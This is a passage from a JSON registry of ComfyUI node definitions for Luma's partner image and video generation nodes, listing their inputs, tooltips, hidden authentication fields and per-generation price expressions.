"character_image": ["IMAGE", {"tooltip": "Character reference images; can be a batch of multiple, up to 4 images can be considered."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "aspect_ratio", "seed", "style_image_weight"], "optional": ["image_luma_ref", "style_image", "character_image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "LumaImageNode", "display_name": "Luma Text to Image", "description": "Generates images synchronously based on prompt and aspect ratio.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/image/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $contains($m,\"photon-flash-1\")\n ? {\"type\":\"usd\",\"usd\":0.0027}\n : $contains($m,\"photon-1\")\n ? {\"type\":\"usd\",\"usd\":0.0104}\n : {\"type\":\"usd\",\"usd\":0.0246}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaImageModifyNode": {"input": {"required": {"image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Prompt for the image generation", "default": "", "multiline": true}], "image_weight": ["FLOAT", {"tooltip": "Weight of the image; the closer to 1.0, the less the image will be modified.", "default": 0.1, "min": 0.0, "max": 0.98, "step": 0.01}], "model": ["COMBO", {"multiselect": false, "options": ["photon-1", "photon-flash-1"]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "image_weight", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "LumaImageModifyNode", "display_name": "Luma Image to Image", "description": "Modifies images synchronously based on prompt and aspect ratio.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/image/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $contains($m,\"photon-flash-1\")\n ? {\"type\":\"usd\",\"usd\":0.0027}\n : $contains($m,\"photon-1\")\n ? {\"type\":\"usd\",\"usd\":0.0104}\n : {\"type\":\"usd\",\"usd\":0.0246}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaVideoNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the video generation", "default": "", "multiline": true}], "model": ["COMBO", {"multiselect": false, "options": ["ray-2", "ray-flash-2", "ray-1-6"]}], "aspect_ratio": ["COMBO", {"default": "16:9", "multiselect": false, "options": ["1:1", "16:9", "9:16", "4:3", "3:4", "21:9", "9:21"]}], "resolution": ["COMBO", {"default": "540p", "multiselect": false, "options": ["540p", "720p", "1080p", "4k"]}], "duration": ["COMBO", {"multiselect": false, "options": ["5s", "9s"]}], "loop": ["BOOLEAN", {"default": false}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"luma_concepts": ["LUMA_CONCEPTS", {"tooltip": "Optional Camera Concepts to dictate camera motion via the Luma Concepts node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "aspect_ratio", "resolution", "duration", "loop", "seed"], "optional": ["luma_concepts"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "LumaVideoNode", "display_name": "Luma Text to Video", "description": "Generates videos synchronously based on prompt and output_size.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "resolution", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $p := {\n \"ray-flash-2\": {\n \"5s\": {\"4k\":3.13,\"1080p\":0.79,\"720p\":0.34,\"540p\":0.2},\n \"9s\": {\"4k\":5.65,\"1080p\":1.42,\"720p\":0.61,\"540p\":0.36}\n },\n \"ray-2\": {\n \"5s\": {\"4k\":9.11,\"1080p\":2.27,\"720p\":1.02,\"540p\":0.57},\n \"9s\": {\"4k\":16.4,\"1080p\":4.1,\"720p\":1.83,\"540p\":1.03}\n }\n };\n\n $m := widgets.model;\n $d := widgets.duration;\n $r := widgets.resolution;\n\n $modelKey :=\n $contains($m,\"ray-flash-2\") ? \"ray-flash-2\" :\n $contains($m,\"ray-2\") ? \"ray-2\" :\n $contains($m,\"ray-1-6\") ? \"ray-1-6\" :\n \"other\";\n\n $durKey := $contains($d,\"5s\") ? \"5s\" : $contains($d,\"9s\") ? \"9s\" : \"\";\n $resKey :=\n $contains($r,\"4k\") ? \"4k\" :\n $contains($r,\"1080p\") ? \"1080p\" :\n $contains($r,\"720p\") ? \"720p\" :\n $contains($r,\"540p\") ? \"540p\" : \"\";\n\n $modelPrices := $lookup($p, $modelKey);\n $durPrices := $lookup($modelPrices, $durKey);\n $v := $lookup($durPrices, $resKey);\n\n $price :=\n ($modelKey = \"ray-1-6\") ? 0.5 :\n ($modelKey = \"other\") ? 0.79 :\n ($exists($v) ? $v : 0.79);\n\n {\"type\":\"usd\",\"usd\": $price}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaImageToVideoNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the video generation", "default": "", "multiline": true}], "model": ["COMBO", {"multiselect": false, "options": ["ray-2", "ray-flash-2", "ray-1-6"]}], "resolution": ["COMBO", {"default": "540p", "multiselect": false, "options": ["540p", "720p", "1080p", "4k"]}], "duration": ["COMBO", {"multiselect": false, "options": ["5s", "9s"]}], "loop": ["BOOLEAN", {"default": false}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"first_image": ["IMAGE", {"tooltip": "First frame of generated video."}], "last_image": ["IMAGE", {"tooltip": "Last frame of generated video."}], "luma_concepts": ["LUMA_CONCEPTS", {"tooltip": "Optional Camera Concepts to dictate camera motion via the Luma Concepts node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "resolution", "duration", "loop", "seed"], "optional": ["first_image", "last_image", "luma_concepts"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "LumaImageToVideoNode", "display_name": "Luma Image to Video", "description": "Generates videos synchronously based on prompt, input images, and output_size.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "resolution", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $p := {\n \"ray-flash-2\": {\n \"5s\": {\"4k\":3.13,\"1080p\":0.79,\"720p\":0.34,\"540p\":0.2},\n \"9s\": {\"4k\":5.65,\"1080p\":1.42,\"720p\":0.61,\"540p\":0.36}\n },\n \"ray-2\": {\n \"5s\": {\"4k\":9.11,\"1080p\":2.27,\"720p\":1.02,\"540p\":0.57},\n \"9s\": {\"4k\":16.4,\"1080p\":4.1,\"720p\":1.83,\"540p\":1.03}\n }\n };\n\n $m := widgets.model;\n $d := widgets.duration;\n $r := widgets.resolution;\n\n $modelKey :=\n $contains($m,\"ray-flash-2\") ? \"ray-flash-2\" :\n $contains($m,\"ray-2\") ? \"ray-2\" :\n $contains($m,\"ray-1-6\") ? \"ray-1-6\" :\n \"other\";\n\n $durKey := $contains($d,\"5s\") ? \"5s\" : $contains($d,\"9s\") ? \"9s\" : \"\";\n $resKey :=\n $contains($r,\"4k\") ? \"4k\" :\n $contains($r,\"1080p\") ? \"1080p\" :\n $contains($r,\"720p\") ? \"720p\" :\n $contains($r,\"540p\") ? \"540p\" : \"\";\n\n $modelPrices := $lookup($p, $modelKey);\n $durPrices := $lookup($modelPrices, $durKey);\n $v := $lookup($durPrices, $resKey);\n\n $price :=\n ($modelKey = \"ray-1-6\") ? 0.5 :\n ($modelKey = \"other\") ? 0.79 :\n ($exists($v) ? $v : 0.79);\n\n {\"type\":\"usd\",\"usd\": $price}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaReferenceNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "Image to use as reference."}], "weight": ["FLOAT", {"tooltip": "Weight of image reference.", "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}, "optional": {"luma_ref": ["LUMA_REF", {}]}}, "input_order": {"required": ["image", "weight"], "optional": ["luma_ref"]}, "is_input_list": false, "output": ["LUMA_REF"], "output_is_list": [false], "output_name": ["luma_ref"], "output_tooltips": [null], "output_matchtypes": null, "name": "LumaReferenceNode", "display_name": "Luma Reference", "description": "Holds an image and weight for use with Luma Generate Image node.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/image/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaConceptsNode": {"input": {"required": {"concept1": ["COMBO", {"multiselect": false, "options": ["None", "truck_left", "pan_right", "pedestal_down", "low_angle", "pedestal_up", "selfie", "pan_left", "roll_right", "zoom_in", "over_the_shoulder", "orbit_right", "orbit_left", "static", "tiny_planet", "high_angle", "bolt_cam", "dolly_zoom", "overhead", "zoom_out", "handheld", "roll_left", "pov", "aerial_drone", "push_in", "crane_down", "truck_right", "tilt_down", "elevator_doors", "tilt_up", "ground_level", "pull_out", "aerial", "crane_up", "eye_level"]}], "concept2": ["COMBO", {"multiselect": false, "options": ["None", "truck_left", "pan_right", "pedestal_down", "low_angle", "pedestal_up", "selfie", "pan_left", "roll_right", "zoom_in", "over_the_shoulder", "orbit_right", "orbit_left", "static", "tiny_planet", "high_angle", "bolt_cam", "dolly_zoom", "overhead", "zoom_out", "handheld", "roll_left", "pov", "aerial_drone", "push_in", "crane_down", "truck_right", "tilt_down", "elevator_doors", "tilt_up", "ground_level", "pull_out", "aerial", "crane_up", "eye_level"]}], "concept3": ["COMBO", {"multiselect": false, "options": ["None", "truck_left", "pan_right", "pedestal_down", "low_angle", "pedestal_up", "selfie", "pan_left", "roll_right", "zoom_in", "over_the_shoulder", "orbit_right", "orbit_left", "static", "tiny_planet", "high_angle", "bolt_cam", "dolly_zoom", "overhead", "zoom_out", "handheld", "roll_left", "pov", "aerial_drone", "push_in", "crane_down", "truck_right", "tilt_down", "elevator_doors", "tilt_up", "ground_level", "pull_out", "aerial", "crane_up", "eye_level"]}], "concept4": ["COMBO", {"multiselect": false, "options": ["None", "truck_left", "pan_right", "pedestal_down", "low_angle", "pedestal_up", "selfie", "pan_left", "roll_right", "zoom_in", "over_the_shoulder", "orbit_right", "orbit_left", "static", "tiny_planet", "high_angle", "bolt_cam", "dolly_zoom", "overhead", "zoom_out", "handheld", "roll_left", "pov", "aerial_drone", "push_in", "crane_down", "truck_right", "tilt_down", "elevator_doors", "tilt_up", "ground_level", "pull_out", "aerial", "crane_up", "eye_level"]}]}, "optional": {"luma_concepts": ["LUMA_CONCEPTS", {"tooltip": "Optional Camera Concepts to add to the ones chosen here."}]}}, "input_order": {"required": ["concept1", "concept2", "concept3", "concept4"], "optional": ["luma_concepts"]}, "is_input_list": false, "output": ["LUMA_CONCEPTS"], "output_is_list": [false], "output_name": ["luma_concepts"], "output_tooltips": [null], "output_matchtypes": null, "name": "LumaConceptsNode", "display_name": "Luma Concepts", "description": "Camera Concepts for use with Luma Text to Video and Luma Image to Video nodes.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaImageNode2": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text description of the desired image. 1\u20136000 characters.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for generation.", "options": [{"key": "uni-1", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Output image aspect ratio. 'auto' lets the model pick based on the prompt.", "default": "auto", "multiselect": false, "options": ["auto", "3:1", "2:1", "16:9", "3:2", "1:1", "2:3", "9:16", "1:2", "1:3"]}], "style": ["COMBO", {"tooltip": "Style preset. 'auto' picks based on the prompt; 'manga' applies a manga/anime aesthetic and requires a portrait aspect ratio (2:3, 9:16, 1:2, 1:3).", "default": "auto", "multiselect": false, "options": ["auto", "manga"]}], "web_search": ["BOOLEAN", {"tooltip": "Search the web for visual references before generating.", "default": false}]}, "optional": {"image_ref": ["COMFY_AUTOGROW_V3", {"tooltip": "Up to 9 reference images for style/content guidance.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9"], "min": 0}}]}}}, {"key": "uni-1-max", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Output image aspect ratio. 'auto' lets the model pick based on the prompt.", "default": "auto", "multiselect": false, "options": ["auto", "3:1", "2:1", "16:9", "3:2", "1:1", "2:3", "9:16", "1:2", "1:3"]}], "style": ["COMBO", {"tooltip": "Style preset. 'auto' picks based on the prompt; 'manga' applies a manga/anime aesthetic and requires a portrait aspect ratio (2:3, 9:16, 1:2, 1:3).", "default": "auto", "multiselect": false, "options": ["auto", "manga"]}], "web_search": ["BOOLEAN", {"tooltip": "Search the web for visual references before generating.", "default": false}]}, "optional": {"image_ref": ["COMFY_AUTOGROW_V3", {"tooltip": "Up to 9 reference images for style/content guidance.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9"], "min": 0}}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "LumaImageNode2", "display_name": "Luma UNI-1 Image", "description": "Generate images from text using the Luma UNI-1 model.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/image/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": ["model.image_ref"]}, "expr": "\n (\n $m := widgets.model;\n $refs := $lookup(inputGroups, \"model.image_ref\");\n $base := $m = \"uni-1-max\" ? 0.1 : 0.0404;\n {\"type\":\"usd\",\"usd\": $round($base + 0.003 * $refs, 4)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaImageEditNode2": {"input": {"required": {"source": ["IMAGE", {"tooltip": "Source image to edit."}], "prompt": ["STRING", {"tooltip": "Description of the desired edit. 1\u20136000 characters.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for editing.", "options": [{"key": "uni-1", "inputs": {"required": {"style": ["COMBO", {"tooltip": "Style preset. 'auto' picks based on the prompt; 'manga' applies a manga/anime aesthetic and requires a portrait aspect ratio (2:3, 9:16, 1:2, 1:3).", "default": "auto", "multiselect": false, "options": ["auto", "manga"]}], "web_search": ["BOOLEAN", {"tooltip": "Search the web for visual references before generating.", "default": false}]}, "optional": {"image_ref": ["COMFY_AUTOGROW_V3", {"tooltip": "Up to 8 reference images for style/content guidance.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8"], "min": 0}}]}}}, {"key": "uni-1-max", "inputs": {"required": {"style": ["COMBO", {"tooltip": "Style preset. 'auto' picks based on the prompt; 'manga' applies a manga/anime aesthetic and requires a portrait aspect ratio (2:3, 9:16, 1:2, 1:3).", "default": "auto", "multiselect": false, "options": ["auto", "manga"]}], "web_search": ["BOOLEAN", {"tooltip": "Search the web for visual references before generating.", "default": false}]}, "optional": {"image_ref": ["COMFY_AUTOGROW_V3", {"tooltip": "Up to 8 reference images for style/content guidance.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8"], "min": 0}}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["source", "prompt", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "LumaImageEditNode2", "display_name": "Luma UNI-1 Image Edit", "description": "Edit an existing image with a text prompt using the Luma UNI-1 model.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/image/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": ["model.image_ref"]}, "expr": "\n (\n $m := widgets.model;\n $refs := $lookup(inputGroups, \"model.image_ref\");\n $base := $m = \"uni-1-max\" ? 0.103 : 0.0434;\n {\"type\":\"usd\",\"usd\": $round($base + 0.003 * $refs, 4)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaRay32TextToVideoNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the video generation.", "default": "", "multiline": true}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4", "21:9"]}], "resolution": ["COMBO", {"default": "720p", "multiselect": false, "options": ["360p", "540p", "720p", "1080p"]}], "duration": ["COMBO", {"multiselect": false, "options": ["5s", "10s"]}], "loop": ["BOOLEAN", {"tooltip": "Make the video loop seamlessly. Only available with 5s duration.", "default": false}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "aspect_ratio", "resolution", "duration", "loop", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING"], "output_is_list": [false, false], "output_name": ["VIDEO", "generation_id"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "LumaRay32TextToVideoNode", "display_name": "Luma Ray 3.2 Text to Video", "description": "Generate a video from a text prompt using Luma's Ray 3.2 model.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "resolution", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $p := {\n \"360p\": {\"5s\": 0.06, \"10s\": 0.18},\n \"540p\": {\"5s\": 0.15, \"10s\": 0.45},\n \"720p\": {\"5s\": 0.3, \"10s\": 0.9},\n \"1080p\": {\"5s\": 1.2, \"10s\": 3.6}\n };\n {\"type\": \"usd\", \"usd\": $lookup($lookup($p, widgets.resolution), widgets.duration)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaRay32ImageToVideoNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the video generation.", "default": "", "multiline": true}], "resolution": ["COMBO", {"default": "720p", "multiselect": false, "options": ["360p", "540p", "720p", "1080p"]}], "loop": ["BOOLEAN", {"tooltip": "Make the video loop seamlessly. Not available when an end_frame is set.", "default": false}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"start_frame": ["IMAGE", {"tooltip": "First frame of the generated video."}], "end_frame": ["IMAGE", {"tooltip": "Last frame of the generated video."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "resolution", "loop", "seed"], "optional": ["start_frame", "end_frame"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING"], "output_is_list": [false, false], "output_name": ["VIDEO", "generation_id"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "LumaRay32ImageToVideoNode", "display_name": "Luma Ray 3.2 Image to Video", "description": "Generate a video from a start and/or end frame using Luma's Ray 3.2 model. Image-anchored generations are always 5 seconds.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $p := {\"360p\": 0.06, \"540p\": 0.15, \"720p\": 0.3, \"1080p\": 1.2};\n {\"type\": \"usd\", \"usd\": $lookup($p, widgets.resolution)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaRay32KeyframeNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "Guide image to place at the chosen moment of the output video."}], "position": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "How to place this image on the output video's timeline.", "options": [{"key": "Fraction of duration (0.0-1.0)", "inputs": {"required": {"fraction": ["FLOAT", {"tooltip": "Where in the output video this image applies (0.0 = start, 1.0 = end).", "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01, "display": "number"}]}}}, {"key": "Absolute time (seconds)", "inputs": {"required": {"seconds": ["FLOAT", {"tooltip": "Time in seconds from the start of the output video where this image applies.", "default": 0.0, "min": 0.0, "max": 10.0, "step": 0.1, "display": "number"}]}}}]}]}, "optional": {"keyframes": ["LUMA_RAY32_KEYFRAME", {"tooltip": "Optional earlier keyframes to chain with this one."}]}}, "input_order": {"required": ["image", "position"], "optional": ["keyframes"]}, "is_input_list": false, "output": ["LUMA_RAY32_KEYFRAME"], "output_is_list": [false], "output_name": ["keyframes"], "output_tooltips": [null], "output_matchtypes": null, "name": "LumaRay32KeyframeNode", "display_name": "Luma Ray 3.2 Keyframe", "description": "Anchor a guide image to a position on the Ray 3.2 output video timeline. Connect this to the 'keyframes' input of the Luma Ray 3.2 Keyframes to Video node; chain several together via the optional 'keyframes' input below.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaRay32KeyframesToVideoNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the video generation.", "default": "", "multiline": true}], "resolution": ["COMBO", {"default": "720p", "multiselect": false, "options": ["360p", "540p", "720p", "1080p"]}], "duration": ["COMBO", {"multiselect": false, "options": ["5s", "10s"]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "keyframes": ["LUMA_RAY32_KEYFRAME", {"tooltip": "Keyframe sequence from Luma Ray 3.2 Keyframe nodes (at least 2)."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "resolution", "duration", "seed", "keyframes"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING"], "output_is_list": [false, false], "output_name": ["VIDEO", "generation_id"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "LumaRay32KeyframesToVideoNode", "display_name": "Luma Ray 3.2 Keyframes to Video", "description": "Generate a video that interpolates through a sequence of guide images, each anchored to a position on the timeline, using Luma Ray 3.2. Build the sequence with Luma Ray 3.2 Keyframe nodes (at least 2).", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "resolution", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $p := {\n \"360p\": {\"5s\": 0.06, \"10s\": 0.18},\n \"540p\": {\"5s\": 0.15, \"10s\": 0.45},\n \"720p\": {\"5s\": 0.3, \"10s\": 0.9},\n \"1080p\": {\"5s\": 1.2, \"10s\": 3.6}\n };\n {\"type\": \"usd\", \"usd\": $lookup($lookup($p, widgets.resolution), widgets.duration)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaRay32VideoEditNode": {"input": {"required": {"video": ["VIDEO", {"tooltip": "Source video to edit. Up to 18 seconds."}], "prompt": ["STRING", {"tooltip": "Describes the desired edit.", "default": "", "multiline": true}], "resolution": ["COMBO", {"default": "720p", "multiselect": false, "options": ["360p", "540p", "720p", "1080p"]}], "strength": ["COMBO", {"tooltip": "How strongly to preserve vs. reimagine the source. 'auto' lets Ray 3.2 choose; adhere_* preserves the most, flex_* is balanced, reimagine_* changes the most.", "default": "auto", "multiselect": false, "options": ["auto", "adhere_1", "adhere_2", "adhere_3", "flex_1", "flex_2", "flex_3", "reimagine_1", "reimagine_2", "reimagine_3"]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "prompt", "resolution", "strength", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING"], "output_is_list": [false, false], "output_name": ["VIDEO", "generation_id"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "LumaRay32VideoEditNode", "display_name": "Luma Ray 3.2 Video Edit", "description": "Re-render an existing video under a new prompt using Luma Ray 3.2 (restyle, relight, add or remove elements) while keeping the original motion. Source video up to 18 seconds; the edited video keeps the source's length.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", 